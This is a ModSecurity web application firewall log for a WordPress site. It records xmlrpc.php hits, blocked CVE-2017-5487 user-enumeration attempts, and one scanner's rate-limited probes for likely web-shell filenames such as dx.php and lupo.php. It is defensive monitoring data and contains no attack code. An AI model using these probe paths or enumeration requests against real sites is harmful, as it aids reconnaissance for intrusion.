[Sat Apr 11 23:17:30.766803 2026] [:error] [pid 42219:tid 42227] [client 36.50.26.43:45416] [client 36.50.26.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.50.26.43, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpmCg-4IkVbTQx_J-2j2QAAAIQ"]
[Sat Apr 11 23:18:47.453289 2026] [:error] [pid 52608:tid 52629] [client 80.211.125.234:42064] [client 80.211.125.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.211.125.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpmVyY5wH-BLt5QEKhzFwAAARI"]
[Sat Apr 11 23:19:28.117167 2026] [:error] [pid 42313:tid 42324] [client 104.37.174.183:33642] [client 104.37.174.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.174.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpmgF2P8TxdbaN018Je-gAAAAg"]
[Sat Apr 11 23:25:50.061043 2026] [:error] [pid 42219:tid 42225] [client 38.113.191.66:51878] [client 38.113.191.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.113.191.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpn_g-4IkVbTQx_J-2n1gAAAII"]
[Sat Apr 11 23:27:12.308995 2026] [:error] [pid 52608:tid 52631] [client 78.142.140.182:44092] [client 78.142.140.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.142.140.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpoUCY5wH-BLt5QEKh6SQAAARQ"]
[Sat Apr 11 23:32:03.782502 2026] [:error] [pid 42221:tid 42284] [client 77.95.113.65:40228] [client 77.95.113.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.95.113.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adppc02gt0pb_0-cc6mpYQAAAEY"]
[Sat Apr 11 23:37:13.778600 2026] [:error] [pid 42313:tid 42318] [client 34.140.181.23:65014] [client 34.140.181.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.181.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpqqV2P8TxdbaN018JqKQAAAAI"]
[Sat Apr 11 23:38:56.217912 2026] [:error] [pid 52608:tid 52615] [client 46.21.198.186:36356] [client 46.21.198.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.21.198.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adprECY5wH-BLt5QEKiEhgAAAQQ"]
[Sat Apr 11 23:40:58.849969 2026] [:error] [pid 42313:tid 42320] [client 159.223.217.167:40256] [client 159.223.217.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.217.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpril2P8TxdbaN018JtAQAAAAQ"]
[Sat Apr 11 23:57:04.291426 2026] [:error] [pid 52608:tid 52626] [client 92.62.236.60:44414] [client 92.62.236.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.62.236.60, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpvUCY5wH-BLt5QEKiTbwAAAQ8"]
[Sat Apr 11 23:58:34.071891 2026] [:error] [pid 42219:tid 42242] [client 178.62.28.91:55162] [client 178.62.28.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.28.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpvqg-4IkVbTQx_J-21GQAAAJM"]
[Sun Apr 12 00:02:24.165430 2026] [:error] [pid 42219:tid 42223] [client 103.205.142.28:44590] [client 103.205.142.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.205.142.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpwkA-4IkVbTQx_J-22lQAAAIA"]
[Sun Apr 12 00:04:24.046124 2026] [:error] [pid 42219:tid 42227] [client 5.53.124.193:57308] [client 5.53.124.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.53.124.193, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpxCA-4IkVbTQx_J-23awAAAIQ"]
[Sun Apr 12 00:06:13.100778 2026] [:error] [pid 42219:tid 42234] [client 128.199.223.38:58568] [client 128.199.223.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.223.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpxdQ-4IkVbTQx_J-238wAAAIs"]
[Sun Apr 12 00:09:29.568100 2026] [:error] [pid 42221:tid 42293] [client 123.30.233.48:52538] [client 123.30.233.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.30.233.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpyOU2gt0pb_0-cc6m0LAAAAE8"]
[Sun Apr 12 00:10:05.523659 2026] [:error] [pid 42313:tid 42340] [client 46.225.100.56:51122] [client 46.225.100.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.225.100.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpyXV2P8TxdbaN018J6VgAAABg"]
[Sun Apr 12 00:14:36.357312 2026] [:error] [pid 42219:tid 42230] [client 141.94.27.49:46586] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpzbA-4IkVbTQx_J-26gwAAAIc"]
[Sun Apr 12 00:18:37.658879 2026] [:error] [pid 52608:tid 52630] [client 167.172.153.2:45164] [client 167.172.153.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.153.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adp0XSY5wH-BLt5QEKihpwAAARM"]
[Sun Apr 12 00:30:15.995864 2026] [:error] [pid 42313:tid 42330] [client 185.199.223.39:32990] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adp3F12P8TxdbaN018KFzAAAAA4"]
[Sun Apr 12 00:34:47.765158 2026] [:error] [pid 42221:tid 42292] [client 185.226.232.56:52630] [client 185.226.232.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.226.232.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adp4J02gt0pb_0-cc6m8PQAAAE4"]
[Sun Apr 12 00:35:58.848686 2026] [:error] [pid 42313:tid 42338] [client 52.226.240.29:5824] [client 52.226.240.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.226.240.29, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adp4bl2P8TxdbaN018KKQgAAABY"]
[Sun Apr 12 00:40:35.024961 2026] [:error] [pid 42219:tid 42229] [client 82.223.70.218:58736] [client 82.223.70.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.70.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adp5gw-4IkVbTQx_J-3GVAAAAIY"]
[Sun Apr 12 00:42:44.614617 2026] [:error] [pid 45064:tid 45116] [client 188.165.95.76:35166] [client 188.165.95.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.165.95.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adp6BJcHBvLyJ6EUhUrUgwAAAVc"]
[Sun Apr 12 00:48:13.220161 2026] [:error] [pid 45064:tid 45094] [client 129.226.93.214:57776] [client 129.226.93.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adp7TZcHBvLyJ6EUhUraLQAAAUI"]
[Sun Apr 12 00:48:47.381014 2026] [:error] [pid 44700:tid 44758] [client 144.91.66.223:58960] [client 144.91.66.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.91.66.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adp7b2ryPgh_uW4QPClQlAAAAM4"]
[Sun Apr 12 00:57:32.273952 2026] [:error] [pid 44698:tid 44723] [client 109.69.0.203:51829] [client 109.69.0.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.69.0.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adp9fBgoH9UWd-U3D55UJQAAAJQ"]
[Sun Apr 12 00:57:42.828719 2026] [:error] [pid 44698:tid 44713] [client 109.69.0.203:52432] [client 109.69.0.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.69.0.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adp9hhgoH9UWd-U3D55UTAAAAIo"]
[Sun Apr 12 00:57:53.201775 2026] [:error] [pid 45064:tid 45094] [client 109.69.0.203:53015] [client 109.69.0.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.69.0.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adp9kZcHBvLyJ6EUhUrlkgAAAUI"]
[Sun Apr 12 01:00:07.434204 2026] [:error] [pid 44701:tid 44789] [client 188.165.95.76:35768] [client 188.165.95.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.165.95.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adp-FxGZAP4MrlxEPFcmsAAAAE4"]
[Sun Apr 12 01:00:21.638010 2026] [:error] [pid 44701:tid 44794] [client 217.61.143.66:42978] [client 217.61.143.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.61.143.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adp-JRGZAP4MrlxEPFcmwgAAAFM"]
[Sun Apr 12 01:12:01.977852 2026] [:error] [pid 44701:tid 44777] [client 49.37.116.79:57281] [client 49.37.116.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.116.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqA4RGZAP4MrlxEPFct1AAAAEU"]
[Sun Apr 12 01:12:03.744387 2026] [:error] [pid 44698:tid 44709] [client 49.37.116.79:57296] [client 49.37.116.79] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adqA4xgoH9UWd-U3D55aDAAAAIY"]
[Sun Apr 12 01:12:07.455913 2026] [:error] [pid 44698:tid 44720] [client 49.37.116.79:57296] [client 49.37.116.79] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adqA5xgoH9UWd-U3D55aFgAAAJE"]
[Sun Apr 12 01:26:31.492770 2026] [:error] [pid 34152:tid 34172] [client 54.36.181.89:37852] [client 54.36.181.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.181.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqER4FtE4RhFslT1Dq7GgAAABI"]
[Sun Apr 12 01:30:02.808140 2026] [:error] [pid 36938:tid 36950] [client 158.158.55.67:17663] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nwflm.php"] [unique_id "adqFGoSWpa_VL1JPU6za_gAAAYo"]
[Sun Apr 12 01:30:03.319458 2026] [:error] [pid 36909:tid 36935] [client 158.158.55.67:40555] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nwflm.php"] [unique_id "adqFG0Gk5GhxTCzHUOoVcQAAARg"]
[Sun Apr 12 01:30:03.823610 2026] [:error] [pid 44701:tid 44796] [client 158.158.55.67:36804] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nwflm.php"] [unique_id "adqFGxGZAP4MrlxEPFc3owAAAFU"]
[Sun Apr 12 01:30:04.312582 2026] [:error] [pid 34152:tid 34167] [client 158.158.55.67:41170] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nwflm.php"] [unique_id "adqFHIFtE4RhFslT1Dq8mQAAAA0"]
[Sun Apr 12 01:30:04.808313 2026] [:error] [pid 36909:tid 36912] [client 158.158.55.67:37371] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "adqFHEGk5GhxTCzHUOoVdgAAAQE"]
[Sun Apr 12 01:30:05.302410 2026] [:error] [pid 36909:tid 36914] [client 158.158.55.67:55527] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "adqFHUGk5GhxTCzHUOoVeQAAAQM"]
[Sun Apr 12 01:30:05.963885 2026] [:error] [pid 36909:tid 36928] [client 158.158.55.67:13484] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "adqFHUGk5GhxTCzHUOoVewAAARE"]
[Sun Apr 12 01:30:06.516491 2026] [:error] [pid 36909:tid 36916] [client 158.158.55.67:39420] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "adqFHkGk5GhxTCzHUOoVfwAAAQU"]
[Sun Apr 12 01:30:07.016420 2026] [:error] [pid 44701:tid 44790] [client 158.158.55.67:17366] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "adqFHxGZAP4MrlxEPFc3pgAAAE8"]
[Sun Apr 12 01:30:07.678885 2026] [:error] [pid 44701:tid 44785] [client 158.158.55.67:36830] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "adqFHxGZAP4MrlxEPFc3pwAAAEs"]
[Sun Apr 12 01:30:08.225369 2026] [:error] [pid 44701:tid 44774] [client 158.158.55.67:14494] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "adqFIBGZAP4MrlxEPFc3qgAAAEI"]
[Sun Apr 12 01:30:08.856786 2026] [:error] [pid 34152:tid 34158] [client 158.158.55.67:14511] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "adqFIIFtE4RhFslT1Dq8mgAAAAQ"]
[Sun Apr 12 01:30:09.342884 2026] [:error] [pid 44701:tid 44777] [client 158.158.55.67:47892] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "adqFIRGZAP4MrlxEPFc3sAAAAEU"]
[Sun Apr 12 01:30:10.325207 2026] [:error] [pid 36938:tid 36955] [client 158.158.55.67:36843] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "adqFIoSWpa_VL1JPU6zbBwAAAY8"]
[Sun Apr 12 01:30:10.899035 2026] [:error] [pid 44701:tid 44790] [client 158.158.55.67:53033] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "adqFIhGZAP4MrlxEPFc3swAAAE8"]
[Sun Apr 12 01:30:11.396086 2026] [:error] [pid 36909:tid 36933] [client 158.158.55.67:14512] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "adqFI0Gk5GhxTCzHUOoVgQAAARY"]
[Sun Apr 12 01:30:11.915191 2026] [:error] [pid 44700:tid 44746] [client 158.158.55.67:39396] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "adqFI2ryPgh_uW4QPClkVwAAAMI"]
[Sun Apr 12 01:30:12.399174 2026] [:error] [pid 36909:tid 36914] [client 158.158.55.67:17386] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "adqFJEGk5GhxTCzHUOoVhQAAAQM"]
[Sun Apr 12 01:30:12.961699 2026] [:error] [pid 36938:tid 36950] [client 158.158.55.67:55489] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "adqFJISWpa_VL1JPU6zbCgAAAYo"]
[Sun Apr 12 01:30:13.466293 2026] [:error] [pid 44701:tid 44794] [client 158.158.55.67:41179] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "adqFJRGZAP4MrlxEPFc3tgAAAFM"]
[Sun Apr 12 01:30:14.515321 2026] [:error] [pid 44700:tid 44750] [client 158.158.55.67:53044] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "adqFJmryPgh_uW4QPClkXAAAAMY"]
[Sun Apr 12 01:30:16.026596 2026] [:error] [pid 36938:tid 36943] [client 158.158.55.67:40525] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "adqFKISWpa_VL1JPU6zbEQAAAYM"]
